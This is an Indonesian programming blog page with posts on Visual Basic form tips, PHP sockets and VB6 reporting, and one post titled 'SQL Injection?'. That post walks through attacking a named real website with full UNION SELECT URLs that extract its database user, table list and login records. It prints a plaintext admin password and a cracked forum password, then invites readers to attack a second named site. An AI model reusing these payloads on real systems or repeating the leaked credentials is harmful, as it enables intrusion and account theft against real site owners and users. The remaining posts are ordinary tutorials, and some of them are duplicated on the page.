Tips dan Trik Visual Basic

Tuesday, May 31, 2016

Tips dan Trik Visual Basic
Meskipun sudah banyak programer Visual Basic sudah mengetahui tip trik dalam desain form, beberapa diantaranya sederhana, tapi bagi pemula hal ini akan sangat membantu, karena penulis menganggap setiap tip merupakan tambahan yang bermanfaat.

Form di Tengah Layar
Tempat terbaik untuk menempatkan kode guna menengahkan form adalah di prosedur load dari form. Ini akan menempatkan form sebelum benar-benar muncul di layar. Tambahkan saja dua baris kode ke prosedur even load dari form yang mengkalkulasi dan menentukan lokasi sudur kiri atas form, seperti tampak di kode berikut :

Private sub form_load()
Left = (screen.width - width) \ 2
Top = (screen.height - height) \ 2
End Sub

Perhatikan bahwa karakter backslah (\) digunakan untuk mengeksekusi pembagian Integer dengan 2 pembagian integer lebih cepat daripada pembagian titik ambang, dan di berbagai situasi (seperti ketika menengahkan form) hasilnya dibulatkan ke nilai integer, gunakan \ daripada / bilamana bekerja sama baiknya.

Kadang, kita juga ingin menempatkan sebuah form di tempat lain di layar, misalnya berapapun resolusi layar, kode berikut akan menempatkan tengah-tengah form di seperempat bagian dari kiri dan sepertiga bagian ke bawah dari atas.

Private sub form_load ()
Left = 0.25 * screen.width - width \ 2
Top = 0.333 * screen.height - height \ 2
End sub

Window Terapung
Bagi anda yang baik belajar Visual Basic tentu agak membingungkan membuat form yang akan tetap tampak di depan form lain dan window lain, ini adalah teknik tip triknya, yaitu kita bisa melalui 3 cara.

- Modal
Form ditampilkan secara programatis menggunakan metode show. Bila kita menyertakan konstanta vbModal sebagai nilai untuk argumen optional di metode show dari suatu form, user harus menanggapi form sebelum bagian lain dari aplikasi mengenali keystroke atau aktifitas mouse. Dalam beberapa hal kita dapat menamakan perilaku ini sebagai application modal, berikut ini baris kode yang mendemonstrasikan penggunaan metode show :

Form3.show vbModal

Perhatikan bahwa Form modal harus memiliki beberapa cara untuk menyembunyikan atau menghapus dirinya sendiri secara langsung atau tak langsung, sehingga aplikasi dapat berlanjut dari sana.

- Floating
Tambahkan timer control ke form, dan tetapkan properti interval kecepatan di mana kita menginginkan Form mumcul mengapung. Interval 500 milidetik (0.5 detik), misalnya adalah nilai yang cukup baik untuk dicoba. Tambahkan baris berikut ke rutin Timer_timer untuk memaksa form muncul diatas menggunakan metode Zorder :

Private sub Time1_timer ()
Zorder
End sub

- TopMost
Fungsi API Windows SetWindowPos berfungsi sebuah form tetap nampak diatas. Hal ini membuat efek yang baik daripada gerakan timbul tenggelam yang baru saja dijelaskan dan memungkinkan Windows melakukan seluruh pekerjaan kotor. Form tetap muncul form dan jendela lain sampai kita tutup. Selengkapnya dapat anda lihat source code Form3, dimana penulis menempatkan kode untuk menghapus Flag topmost di rutin Form_Unload, namun kita dapat menghapus setting topmost dari tempat manapun di aplikasi. Walaupun sebenarnya tidak perlu menambahkan seluruh konstanta di atas ke kode. Penulis menyertakan seluruh konstanta

Form Yang Berkedip-Kedip
Ada fungsi API FlashWindow yang dapat kita gunakan untuk men-toggle, atau membuat jendela berkedip, ini mungkin bermanfaat menarik perhatian user ketika aplikasi dalam kondisi run time kritis, untuk mencoba tehnik ini lihat source code pada form4

Di windows 95/98, bila taksbar tampak, icon taskbar untuk frmFlash berkedip beserta caption. User akan melihat item berkedip di taskbar meskipun form yang berkedip tertutup oleh jendela lain.
Penulis mensetup Rate dan Flash sebagai properti dari form yang berkedip sendiri, untuk tetap menjaga spirit tehnik pemrograman berorientasi objek. Dari mana saja di aplikasi, anda tinggal menentukan kecepatan kedip (dalam kedipan per detik) dengan mengisikan nilai ke properti Rate dari form dan menentukan properti Flash menjadi true atau false. Untuk mengaktifkan atau menonaktifkan efek kedip perhatikan baik-baik tombol perintah di Form4 untuk mengetahui bagaimana properti di tentukan untuk mengontrol kecepatan kedip frmFlash.

sumber :

Meskipun sudah banyak programer Visual Basic sudah mengetahui tip trik dalam desain form, beberapa diantaranya sederhana, tapi bagi pemula hal ini akan sangat membantu, karena penulis menganggap setiap tip merupakan tambahan yang bermanfaat.

Form di Tengah Layar
Tempat terbaik untuk menempatkan kode guna menengahkan form adalah di prosedur load dari form. Ini akan menempatkan form sebelum benar-benar muncul di layar. Tambahkan saja dua baris kode ke prosedur even load dari form yang mengkalkulasi dan menentukan lokasi sudur kiri atas form, seperti tampak di kode berikut :

Private sub form_load()
Left = (screen.width - width) \ 2
Top = (screen.height - height) \ 2
End Sub

Perhatikan bahwa karakter backslah (\) digunakan untuk mengeksekusi pembagian Integer dengan 2 pembagian integer lebih cepat daripada pembagian titik ambang, dan di berbagai situasi (seperti ketika menengahkan form) hasilnya dibulatkan ke nilai integer, gunakan \ daripada / bilamana bekerja sama baiknya.

Kadang, kita juga ingin menempatkan sebuah form di tempat lain di layar, misalnya berapapun resolusi layar, kode berikut akan menempatkan tengah-tengah form di seperempat bagian dari kiri dan sepertiga bagian ke bawah dari atas.

Private sub form_load ()
Left = 0.25 * screen.width - width \ 2
Top = 0.333 * screen.height - height \ 2
End sub

Window Terapung
Bagi anda yang baik belajar Visual Basic tentu agak membingungkan membuat form yang akan tetap tampak di depan form lain dan window lain, ini adalah teknik tip triknya, yaitu kita bisa melalui 3 cara.

- Modal
Form ditampilkan secara programatis menggunakan metode show. Bila kita menyertakan konstanta vbModal sebagai nilai untuk argumen optional di metode show dari suatu form, user harus menanggapi form sebelum bagian lain dari aplikasi mengenali keystroke atau aktifitas mouse. Dalam beberapa hal kita dapat menamakan perilaku ini sebagai application modal, berikut ini baris kode yang mendemonstrasikan penggunaan metode show :

Form3.show vbModal

Perhatikan bahwa Form modal harus memiliki beberapa cara untuk menyembunyikan atau menghapus dirinya sendiri secara langsung atau tak langsung, sehingga aplikasi dapat berlanjut dari sana.

- Floating
Tambahkan timer control ke form, dan tetapkan properti interval kecepatan di mana kita menginginkan Form mumcul mengapung. Interval 500 milidetik (0.5 detik), misalnya adalah nilai yang cukup baik untuk dicoba. Tambahkan baris berikut ke rutin Timer_timer untuk memaksa form muncul diatas menggunakan metode Zorder :

Private sub Time1_timer ()
Zorder
End sub

- TopMost
Fungsi API Windows SetWindowPos berfungsi sebuah form tetap nampak diatas. Hal ini membuat efek yang baik daripada gerakan timbul tenggelam yang baru saja dijelaskan dan memungkinkan Windows melakukan seluruh pekerjaan kotor. Form tetap muncul form dan jendela lain sampai kita tutup. Selengkapnya dapat anda lihat source code Form3, dimana penulis menempatkan kode untuk menghapus Flag topmost di rutin Form_Unload, namun kita dapat menghapus setting topmost dari tempat manapun di aplikasi. Walaupun sebenarnya tidak perlu menambahkan seluruh konstanta di atas ke kode. Penulis menyertakan seluruh konstanta

Form Yang Berkedip-Kedip
Ada fungsi API FlashWindow yang dapat kita gunakan untuk men-toggle, atau membuat jendela berkedip, ini mungkin bermanfaat menarik perhatian user ketika aplikasi dalam kondisi run time kritis, untuk mencoba tehnik ini lihat source code pada form4

Di windows 95/98, bila taksbar tampak, icon taskbar untuk frmFlash berkedip beserta caption. User akan melihat item berkedip di taskbar meskipun form yang berkedip tertutup oleh jendela lain.
Penulis mensetup Rate dan Flash sebagai properti dari form yang berkedip sendiri, untuk tetap menjaga spirit tehnik pemrograman berorientasi objek. Dari mana saja di aplikasi, anda tinggal menentukan kecepatan kedip (dalam kedipan per detik) dengan mengisikan nilai ke properti Rate dari form dan menentukan properti Flash menjadi true atau false. Untuk mengaktifkan atau menonaktifkan efek kedip perhatikan baik-baik tombol perintah di Form4 untuk mengetahui bagaimana properti di tentukan untuk mengontrol kecepatan kedip frmFlash.

Sumber :

Meskipun sudah banyak programer Visual Basic sudah mengetahui tip trik dalam desain form, beberapa diantaranya sederhana, tapi bagi pemula hal ini akan sangat membantu, karena penulis menganggap setiap tip merupakan tambahan yang bermanfaat.

Form di Tengah Layar
Tempat terbaik untuk menempatkan kode guna menengahkan form adalah di prosedur load dari form. Ini akan menempatkan form sebelum benar-benar muncul di layar. Tambahkan saja dua baris kode ke prosedur even load dari form yang mengkalkulasi dan menentukan lokasi sudur kiri atas form, seperti tampak di kode berikut :

Private sub form_load()
Left = (screen.width - width) \ 2
Top = (screen.height - height) \ 2
End Sub

Perhatikan bahwa karakter backslah (\) digunakan untuk mengeksekusi pembagian Integer dengan 2 pembagian integer lebih cepat daripada pembagian titik ambang, dan di berbagai situasi (seperti ketika menengahkan form) hasilnya dibulatkan ke nilai integer, gunakan \ daripada / bilamana bekerja sama baiknya.

Kadang, kita juga ingin menempatkan sebuah form di tempat lain di layar, misalnya berapapun resolusi layar, kode berikut akan menempatkan tengah-tengah form di seperempat bagian dari kiri dan sepertiga bagian ke bawah dari atas.

Private sub form_load ()
Left = 0.25 * screen.width - width \ 2
Top = 0.333 * screen.height - height \ 2
End sub

Window Terapung
Bagi anda yang baik belajar Visual Basic tentu agak membingungkan membuat form yang akan tetap tampak di depan form lain dan window lain, ini adalah teknik tip triknya, yaitu kita bisa melalui 3 cara.

- Modal
Form ditampilkan secara programatis menggunakan metode show. Bila kita menyertakan konstanta vbModal sebagai nilai untuk argumen optional di metode show dari suatu form, user harus menanggapi form sebelum bagian lain dari aplikasi mengenali keystroke atau aktifitas mouse. Dalam beberapa hal kita dapat menamakan perilaku ini sebagai application modal, berikut ini baris kode yang mendemonstrasikan penggunaan metode show :

Form3.show vbModal

Perhatikan bahwa Form modal harus memiliki beberapa cara untuk menyembunyikan atau menghapus dirinya sendiri secara langsung atau tak langsung, sehingga aplikasi dapat berlanjut dari sana.

- Floating
Tambahkan timer control ke form, dan tetapkan properti interval kecepatan di mana kita menginginkan Form mumcul mengapung. Interval 500 milidetik (0.5 detik), misalnya adalah nilai yang cukup baik untuk dicoba. Tambahkan baris berikut ke rutin Timer_timer untuk memaksa form muncul diatas menggunakan metode Zorder :

Private sub Time1_timer ()
Zorder
End sub

- TopMost
Fungsi API Windows SetWindowPos berfungsi sebuah form tetap nampak diatas. Hal ini membuat efek yang baik daripada gerakan timbul tenggelam yang baru saja dijelaskan dan memungkinkan Windows melakukan seluruh pekerjaan kotor. Form tetap muncul form dan jendela lain sampai kita tutup. Selengkapnya dapat anda lihat source code Form3, dimana penulis menempatkan kode untuk menghapus Flag topmost di rutin Form_Unload, namun kita dapat menghapus setting topmost dari tempat manapun di aplikasi. Walaupun sebenarnya tidak perlu menambahkan seluruh konstanta di atas ke kode. Penulis menyertakan seluruh konstanta

Form Yang Berkedip-Kedip
Ada fungsi API FlashWindow yang dapat kita gunakan untuk men-toggle, atau membuat jendela berkedip, ini mungkin bermanfaat menarik perhatian user ketika aplikasi dalam kondisi run time kritis, untuk mencoba tehnik ini lihat source code pada form4

Di windows 95/98, bila taksbar tampak, icon taskbar untuk frmFlash berkedip beserta caption. User akan melihat item berkedip di taskbar meskipun form yang berkedip tertutup oleh jendela lain.
Penulis mensetup Rate dan Flash sebagai properti dari form yang berkedip sendiri, untuk tetap menjaga spirit tehnik pemrograman berorientasi objek. Dari mana saja di aplikasi, anda tinggal menentukan kecepatan kedip (dalam kedipan per detik) dengan mengisikan nilai ke properti Rate dari form dan menentukan properti Flash menjadi true atau false. Untuk mengaktifkan atau menonaktifkan efek kedip perhatikan baik-baik tombol perintah di Form4 untuk mengetahui bagaimana properti di tentukan untuk mengontrol kecepatan kedip frmFlash.
More aboutTips dan Trik Visual Basic

SQL Injection?

SQL Injection?

Pertama-tama anda searching di om google  kayak gini:
Inurl:”.php?id=”
Muncul  beberapa link langsung aja buka satu satu kali ini saya akan meng injeksi salah satu web di web itu juga ada forumnya ini alamatnya:
terus kita coba ada bugsnya gak kasih tanda kutip dibelakang angaka 33
jadi :
oke !, setelah dikasih tanda kutip web berubah sebagian isinya hilang, perlu anda ketahui ada sebagian web langsung mengularkan pesan error  , jadi intinya sama aja.
Next  sekarang kita coba tambah kan perintah
perintah ini untuk mengecek jumlah field di database dengan group yang sejenis saya kasih angka 100, karena saya yakin tidak field yang lebih dari seratus!,  nah kalau dikasih angka 100 tidak mau masih eror maka turunin angkanya.
Ujicoba di web ini seperti berikut ini:
nah diatas 6 masih juga muncul error , artinya field tidak lebih dari 6 field , Oke next kita inject d engan perintah union , yang fungsinya untuk melihat table lain yang dengan table tertentu kira2 seperti itu yang pernah say abaca kalau salah maaf  Ya..
coba lihat dibagian header muncul angka 6 , lewat angka 6 inilah kita akan memasukan perintah Version(), user(), pertama kita chek apakah php ini versi 5 keatas atau 4 , kalau versi 4 maka lebih baik cari web yang lain he…he..
wowww… muncul tuch versi phpnya
versi : 5.0.27
next chek usernya:
http://www.footballderbies.com/fans/index.php?id=-33+UNION+SELECT+1,2,3,4,5,user()–
User db:   footballderbies@localhost
Asyik semakin nyata kalau web ini bisa di inject dengan sql Oke  kita teruskan jalan-jalanya, sekarang kita lihat ada berapa table yang ada didatabase :
http://www.footballderbies.com/fans/index.php?id=-33+UNION+SELECT+1,2,3,4,5,group_concat(table_name)+FROM+information_schema.tables+where+table_schema=database()–
ha….ha…. banyak ya…. Tapi ambil aja table dengan nama : login_users,
kita coba cari tahu kolom apa aja yang ada di table login_user; ini perintahnya
lihat link diatas pada bagian ujung ada seperi bilangan heksa mungkin ada yang Tanya dari mana angka itu?, Yups angka itu dihasilkan dari conver table login_user ke Heksa, jadi table yang  akan kita cari tahu nama kolomnya mula-mula di ubah ke heksa , jangan pusing gimana cara ngubahnya ini dia Linkny:
Oke kita lanjut kelangkah selanjutnya nah saat nya kita mengambil nilai ditiap kolomnya  seprti
id,username,password, full_control
yang kita dapat dari table login_user coba kita masukan dikolom group_concat nya jadi seperti ini:
http://www.footballderbies.com/fans/index.php?id=-33+UNION+SELECT+1,2,3,4,5,group_concat(id,’User ‘,username,’paswd ‘,password,’Hak_akses’,full_control)+FROM+login_users–
Yups ..link diatas sedikit saya modifikasi , dengan manambahkan string User, paswd dan hak akses  yang diapit kutip satu dan tujuan nya biar bacanya enggak ribet ada pemisah. Ha… ha…
Kalau udah monggo di ente apa yang terjaldi?, muncul lah apa yang kita mau.. !
Dan lihat field kolom 1 dengan akses control 1, wah ini pasti sang admin yang males.. he,,,,he… seperti brikut ini:
No  userna
NoUsernamePasswordHak akses
1jordyKudel11
Lihat passwordnya sama sekali tidak di encrypt ….!, oke nah tugas anda sekarang cari halaman loginya terus login dech,
Kenapa saya menyuruh karena saya tidak metemu halaman loginnya he… he…. , ketumunya halaman  login forumnya ,  langkahnya hamper sama kita conver t nama table phpbb_users , caranya sama kayak diatas sampe anda dapatkan user di forum itu, ?
Oke saya angap anda sudah pada bisa contoh saya akan masuk dengan salah satu user yang saya dapatkan:
No_fieldStatus OlusernamePassword
211Nobelhopper20cf6628597a66ecc9de05d875dc87bb
Masalahnya Tuch password nya di encrypt dengan Md5, kenapa saya tahu yup emang standar yang dipake seperti itu, silahkan decrypt passwordnya tinggal searching di google , tapi bagi anda yang males nih link untuk mendecrypt Md5:
nah dari hasil decrypt saya dapatkan dengan User login sbb:
Username:  Nobelhopper
Password:    210597ge
Oke sobat itulah sekilas sql injection , dan jika sobat mau nyoba silahkan uji wb ini:
Tapi saya mohon jangan di acak2nya ya, karena tutorial ini saya buat hanya sekedar pengetahuan agar kita lebih hati2 dan waspada terhadap segala kemungkinan: ini linknya:
http://www.itmaasia.com/news.php?id=1
More aboutSQL Injection?

Belajar membuat applikasi socket Dengan PHP


Disini saya punya dua file pertama untuk di sisi server dan yang kedua di sisi Client , berikut ini untuk script disisi server :

--StartPHP--

class server_socket{            
    var $host;      
    var $port;        
    var $buffer;      
    var $connected;        
    var $bind_result;      
    var $lstn_result;        
    var $newSocket;        
    var $to_client;        
    var $from_client;        
    var $writeLen;                
   
    function __construct($host="127.0.0.1",$port=9001,$max=0){            
        $this->host      = $host;          
        $this->port      = $port;            
        $this->buffer    = 1024;            
        $this->connected = false;            
        echo " Start listening... \n\r";            
        $this->server_created_socket();        
    }                
   
    public function server_created_socket(){            
        set_time_limit(0);            
        $this->connected = socket_create(AF_INET,SOCK_STREAM,0) or die("Could not create a socket");            
        if($this->connected){                
            $this->bind_result= socket_bind($this->connected,$this->host,$this->port) or die('could not bind to port');                
                if($this->bind_result){
                    $this->lstn_result= socket_listen($this->connected,3) or die('unable to listen');
                    $this->open_listening();
                }
        }
        else{
            self::__construct();
        }
    }
   
    private function listen_loop(){
            $this->newSocket    = socket_accept($this->connected);            
            if($this->newSocket) return true;          
            else return false;        
    }
   
    public function open_listening(){
        $this->listen_loop();
        $this->from_client  = socket_read($this->newSocket,$this->buffer);          
        $this->from_client  = trim($this->from_client);        
        $this->str_cmd[date('Y-m-d h:i:s')]='';    
        if($this->from_client){
            $this->str_cmd[date('Y-m-d h:i:s')]  = $this->from_client;
            self::write_callback_toclient();
            self::console();
            socket_set_block($this->connected);
                if(!$this->connected) $this->server_created_socket();
                $this->server_created_socket();
        }
    }
   
    function write_callback_toclient(){
        $this->to_client = $this->from_client;
        $this->writeLen  = socket_write($this->newSocket,$this->to_client,strlen($this->to_client)) or die('unable to write');
    }
   
    public function console(){
   
        if(is_array($this->str_cmd)){
            $n=0;
            foreach($this->str_cmd as $key=>$value){
                echo "[".$key."] :".$value." \n\r";
                $n++;
            }
        }
    }
 }
 
  ob_implicit_flush(true);    
  $ok = new server_socket($host="127.0.0.1",$port=9001,$max=0);

---EndPHP---
Kasih nama misalnya : server_socket.php, selanjutnya buat file untuk di sisi client :

<?php
$host        ="127.0.0.1";
$port         = 9001;
$message     = " IP : ".$_SERVER['REMOTE_ADDR'];
$socket     = socket_create(AF_INET, SOCK_STREAM, 0) or die("[".date('Y-m-d H:i:s')."]from Client: Could not create socket\n");
$result     = socket_connect($socket, $host, $port) or die("[".date('Y-m-d H:i:s')."]from Client: Unable to connect to server\n");

socket_write($socket, $message, strlen($message)) or die("from Client: Unable to send data to server\n");

$result     = socket_read ($socket, 1024) or die("from client: Could not read response from server \n");

socket_write($socket, "END", 3) or die("from client: Could not end session \n");
socket_close($socket);
$result     = trim($result);
echo "\n Message returned : ".$result;
?>
Kasih Nama : test_client3.php

selanjutnya kita test dengan membuka comand prompt ( saya pake windows dengan server local XAMPP)
  C:\xampp\php>php -f c:\\xampp\htdocs\smpchat\server_socket.php (Kebetulan letak folderya di smpchat , tapi mau di folder apa aja terserah ) yang penting di loclalhost



selanjutnya buka browser anda misalnya : Mozila

Seperti gamabar berikut ini:



Refresh berkali-kali..

setelah itu lihat reaksi pada program php yang kita jalankan di comand prompt :



Perhaltikan pada gambar ini , ternyata socket disisi server sudah meresponse file yang kita request dari sisi client .

Untuk membukitkannya  kita bisa mengakses dari beberapa browser seperti , crhome, IE, dll,

Ubah script disisi clientanya pada bagian

$_SERVER[‘REMOTE_ADDR’];

dengan $_SERVER[‘USER_AGENT’]

Karna jika benar maka pada php yang kita jalankan lewat console akan menampikan Request
client dari browser apa saja .

Oke untuk lebih lanjutnya silahkan di uji coba sendiri tentu dengan gaya-masing, dan yang penting gak mesti OOP,

kalau yang saya buat kebetulan saya lagi rajin Pake OOP php, gak pake OOP pun tetap bisa .

More aboutBelajar membuat applikasi socket Dengan PHP

Belajar membuat applikasi socket Dengan PHP

Belajar membuat applikasi socket Dengan PHP

Mungkin bagi yang sering bermain dengan socket programming judul ini mungkin udah gak asing lagi tapi bagi saya pribadi justru menarik dan menantang, apa manfaat pemograman dengan socket applikasi ?..
Contoh yang paling sederhananya adalah membuat program chating tanpa menggunakan database , ya sebenarnya bisa juga membuat applikasi chtaing dengan database hanya saja dalam jumlah tertentu kurang effective.
Awalnya saya coba-coba membuat script untuk bermain client server di php , lama-kelamaan rupanya menarik juga akhirnya ya sudah saya langsung menuju ke Refrensinya PHP di :http://www.php.net/manual/en/ref.sockets.php

Disini saya punya dua file pertama untuk di sisi server dan yang kedua di sisi Client , berikut ini untuk script disisi server :

-StartPHP--

class server_socket{              
    var $host;       
    var $port;         
    var $buffer;        
    var $connected;         
    var $bind_result;        
    var $lstn_result;         
    var $newSocket;         
    var $to_client;         
    var $from_client;         
    var $writeLen;                  
    
    function __construct($host="127.0.0.1",$port=9001,$max=0){             
        $this->host      = $host;            
        $this->port      = $port;             
        $this->buffer    = 1024;             
        $this->connected = false;             
        echo " Start listening... \n\r";             
        $this->server_created_socket();         
    }                  
    
    public function server_created_socket(){             
        set_time_limit(0);             
        $this->connected = socket_create(AF_INET,SOCK_STREAM,0) or die("Could not create a socket");             
        if($this->connected){                 
            $this->bind_result= socket_bind($this->connected,$this->host,$this->port) or die('could not bind to port');                 
                if($this->bind_result){
                    $this->lstn_result= socket_listen($this->connected,3) or die('unable to listen');
                    $this->open_listening();
                }
        }
        else{
            self::__construct();
        }
    }
    
    private function listen_loop(){
            $this->newSocket    = socket_accept($this->connected);             
            if($this->newSocket) return true;            
            else return false;         
    }
    
    public function open_listening(){
        $this->listen_loop();
        $this->from_client  = socket_read($this->newSocket,$this->buffer);            
        $this->from_client  = trim($this->from_client);         
        $this->str_cmd[date('Y-m-d h:i:s')]='';      
        if($this->from_client){
            $this->str_cmd[date('Y-m-d h:i:s')]  = $this->from_client; 
            self::write_callback_toclient();
            self::console();  
            socket_set_block($this->connected);  
                if(!$this->connected) $this->server_created_socket(); 
                $this->server_created_socket();
        }
    }
    
    function write_callback_toclient(){
        $this->to_client = $this->from_client;
        $this->writeLen  = socket_write($this->newSocket,$this->to_client,strlen($this->to_client)) or die('unable to write');
    }
    
    public function console(){
    
        if(is_array($this->str_cmd)){
            $n=0;
            foreach($this->str_cmd as $key=>$value){
                echo "[".$key."] :".$value." \n\r";
                $n++;
            }
        }
    }
 }
  
  ob_implicit_flush(true);     
  $ok = new server_socket($host="127.0.0.1",$port=9001,$max=0);
 
---EndPHP--- 
Kasih nama misalnya : server_socket.php, selanjutnya buat file untuk di sisi client :
<?php
$host        ="127.0.0.1";
$port         = 9001;
$message     = " IP : ".$_SERVER['REMOTE_ADDR'];
$socket     = socket_create(AF_INET, SOCK_STREAM, 0) or die("[".date('Y-m-d H:i:s')."]from Client: Could not create socket\n");
$result     = socket_connect($socket, $host, $port) or die("[".date('Y-m-d H:i:s')."]from Client: Unable to connect to server\n");

socket_write($socket, $message, strlen($message)) or die("from Client: Unable to send data to server\n");

$result     = socket_read ($socket, 1024) or die("from client: Could not read response from server \n");

socket_write($socket, "END", 3) or die("from client: Could not end session \n");
socket_close($socket);
$result     = trim($result);
echo "\n Message returned : ".$result;
?>
Kasih Nama : test_client3.php
selanjutnya kita test dengan membuka comand prompt ( saya pake windows dengan server local XAMPP)   C:\xampp\php>php -f c:\\xampp\htdocs\smpchat\server_socket.php (Kebetulan letak folderya dismpchat , tapi mau di folder apa aja terserah ) yang penting di loclalhost
selanjutnya buka browser anda misalnya : Mozila
Seperti gamabar berikut ini:
Refresh berkali-kali..
setelah itu lihat reaksi pada program php yang kita jalankan di comand prompt :
Perhaltikan pada gambar ini , ternyata socket disisi server sudah meresponse file yang kita request dari sisi client .
Untuk membukitkannya  kita bisa mengakses dari beberapa browser seperti , crhome, IE, dll,
Ubah script disisi clientanya pada bagian
$_SERVER[‘REMOTE_ADDR’];
dengan $_SERVER[‘USER_AGENT’]
Karna jika benar maka pada php yang kita jalankan lewat console akan menampikan Request client dari browser apa saja .
More aboutBelajar membuat applikasi socket Dengan PHP

Aplikasi Absensi_Part(III); Membuat Laporan dengan SQL Pada Program VB 6.0

Aplikasi Absensi_Part(III); Membuat Laporan dengan SQL Pada Program VB 6.0

Salah satu yang terpenting dalam membuat suatu Program adalah output program itu sendiri . ada report yang bersifat tampil dan adapula report yang bersifat cetak misalnya saja ingin membuat report dengan menampilkan field -field tertentu , Mungkin untuk Program Acses anda sudah tidak pusing-pusing lagi karena ada fasilitas Parameter dan filter .Tapi bagaimana data report Pada Vb ?, ya inilah persolaan yang akan kita bahas kali ini. 
Dalam sebuah program tentunya harus bersifat efiesien dan efektif , begitu pula dengan data report misalnya dari database transaksi kita hanya ingin melihat (mencetak ) data transaksi pada taggal tertentu dengan kode tertentu, maka pada tabel transaksi tersebut diperlukan sebuah parameter bukan ?,.
Yup kita mulai saj kali ya , tai sebelumnya kita buat dulu database misalnya saya punya database + Form yang udah jadi , maka saya tinggal membuat reportnya dengan cara pada Add Data Enviorenment ,
gbr1_rpt_vb_sql
Kalau muncul kotak kayak gini  -klik kanan pilih properties-pada bagian -conection buat Command dengan nama ParameterTanggal connection.-klik OK.
gbr2_rpt_vb_sql
Oh ya. Pada bagian DataEnvioronment ganti jadi=Dta_sql,
Terus pada connection=SQLkonection
Pada Command1=Parameter tanggal.
gbr3_rpt_vb_sql
Pada bagian ini kita akan menhubungkan kedatabase kita, caranya Klik kanan pada SQlKonection-pilih Properties- setelah munculkotak dialog kaya diatas pilih Microsoft jet 4.0 OLE DB Provider, sebagai mesin penghubung, dan tentunya anda juga bisa menggunakan Sql mialnya asal database yang kita buat menggunkan SQL.
Sekarang klik Next- pada bagian Select Or to Enter a dtatabase name:, lkamu pilih database yang sudah kamu buat, dengan cara mengklik pada bagian:
gbr4_rpt_vb_sql
Untuk mencoba apakah telah terkoneksi coba ada klik Test Connection, jika berhasil maka ada pesan yang menyatakan Bahwa telah berhasil terhubung.
Sekarang klik Ok Untuk menyetujuinya.
Selanjutnya kita pilih-ParameterTanggal-klik Kanan-pilih Properties-sampai muncul kotak dialog:
gbr5_rpt_vb_sql
Pilih aja database Object :table,
Object Name: (Sesuaikan dengan table yang telah kita buat), sbenernya kita tidak akan menggunakan ini, hanya saja untuk mempermudah sewaktu kita membuat sytak sql-nya. Sekarang kita klik sqlStatement ,
gbr6_rpt_vb_sql
Pilih parameter tanggal -klik kanan-build SQL terus masukan Sintaknya :
SELECT *
FROM data_hasil
WHERE pelajaran = ?
Pada sintak ini kita hanya mennggunakan satu parameter saja jika anda ingin mennggunkan lebih dari satu , maka cukup menmabahkan Penghubung AND kayak contoh ini nih:
SELECT *
FROM data_hasil
WHERE kelas = ? AND pelajaran = ?
Cukup mudah bukan , kalau udah kita simpan atau klik OK,
Selanjutnya kita buat laporannya pada data Envioronment klik kanan-terus pilih add data Report – beri nama=datareport2-selanjutnya klik pada bagian Properties -pada setingan Data source = Dta_sql, dan data membernya Parameter tanggal, kemudian desaign laporan yang anda inginkan , selanjutnya kita buat form untuk menginput data yang akan kita cetak. Saya akan kasih contoh Form yang saya buat pada kasus ini saya hanya ingin mencetak data_hasil berdasarkan kelas dan Pelajaran, mungkin kayak gini nih, oh ya mungkin anda sedikit bertanya-tanya, mengapa saya menjelaskan  berbeda. Pada saat pembuatan conection dan command  saya menjelaskan menngunkan kasus data transaksi tapi pada saat pembuatan datarepot  saya gunakan kasus data Hasil ujian siswa.Maklum saya lagi males mesti design DataRepot yag baru sory ya , tapi tenang hasilnya pasti sama and yang pastinya kalau emang enggak mudeng Tanya aja ya… J.
Oke ini dia formnya:
gbr7_rpt_vb_sql
Buat aja yang simple :
Kelas/bagian: Text3
Pelajaran: Text2  , untuk name biarkan =command1 aja biar gak ribet.
Klik dua kali pada bagian command 1.=cetak dan masukan listing berikut ini:
Private Sub command1_klik()
X=msgBox(“Apakah anda akan memcetak Hasil ini”, vbYesNO+VbQuestion,”Informasi”)
If x=vbYes then
Dim DE As Dt_sql
Set DE = New Dt_sql
DE.Command1 Text2.Text, Text3.Text
Text3.SetFocus
DataReport2.Show
Else
Exit sub
Text3.text=” “
Text2.text=” “
End If
End Sub
Kalau udah sekarang kita jalankan Form input yang telah kita buat , selanjutnya anda coba masukan kelas=”XI-A” dan Pelajaran =”Biologi” siswa, Klik Print dan pilih Yes untuk menyetujui nya
gbr8_rpt_vb_sql
More aboutAplikasi Absensi_Part(III); Membuat Laporan dengan SQL Pada Program VB 6.0

Membuat Aplikasi Absensi Menggunakan Visual Basic ( Part 2 )

Membuat Aplikasi Absensi Menggunakan Visual Basic ( Part 2 )

Sebelum kita masuk kepembhasan Membuat Tampilan proses absesnsi , terlebih dulu saya minta maaf bila tampilan form dan fields yang kemarin agak sedikit berbeda maklumlah , aplikasi ini saya buat untuk tugas akhir makanya saya masih melakukan normalisasi, Mungkin untuk saat ini mudah-mudahan sudah lumayan normal, dan sebenrnya saya buat tidak hanya untuk absensi tapi juga satu paket degan Koreksi soal objectif serta Katalog buku perpustakaan, tapi kalau saya kasih tahu terus gimana dong dengan TA saya , dan insya Allah Aplikasi Bisa di dapetin gratis Koq entar saya kabarkan dan silahkan insatall dan download programnya , tunggu kalau saya udah kelar TA …bukan Promosi loh?, Oh ya Aplikasi ini saya buat dengan system client admin (ada admin dan client), tapi kalau saya jelaskan dari awalhigga akhir maka perlu satu buku kali ya, tapi enggak apa sedikit asal membantu itu lebih baik.
Yups ..sekarang kita tentunkan skanario dari form yang kita sebuat sebagai interface input absensi , pada form ini kita akan melakukan absensi pada tanggal hari ini ( Updating) sesuai jam di system computer, Pada pembahasan sebelumya kita sudah membuat record, No, Nip/nis/Nim, Nama, Jenis kelamin, kelas/bagian,Tanggal , alpa, izin, masuk, sakit serta total .
Dalam form Proses absesnsi dimana kelas /bagian akan kita buat sebagai locked (pengunci) kenapa ya?, ketiak saya ingin mengabsen kelas XI-A , maka , database hanya akan menampilkan data yang ada pada kelas XI-A saja smentara yang lain dihiden dulu . So, kita butuh script SQL untuk menjlankan perintah ini , BTW dalam membuat laporan pun nantinya kita perlu Dengan SQL Pastinya hal ini untuk mengelompokan data tersebut berdasarkan kelas, tentunya saya tidak membahas banyak tentang SQL , tapi pembahasan lain insya Allah saya kasih tahu bgaimana penggunaan SQl pada VB 6.0 ditunggu aja ya?.
Ok tugas kita adalah mendesaign Form seperti ini nih:
gbr1_absn_vbii
Nah buat formnya seperti ini form ini belum saya running jika sudah di running, maka hasilnya:
gbr2_absn_vbii
Pada bagian form ini kita perlu beberapa komponen
DataGrid (sebagai jembatan)
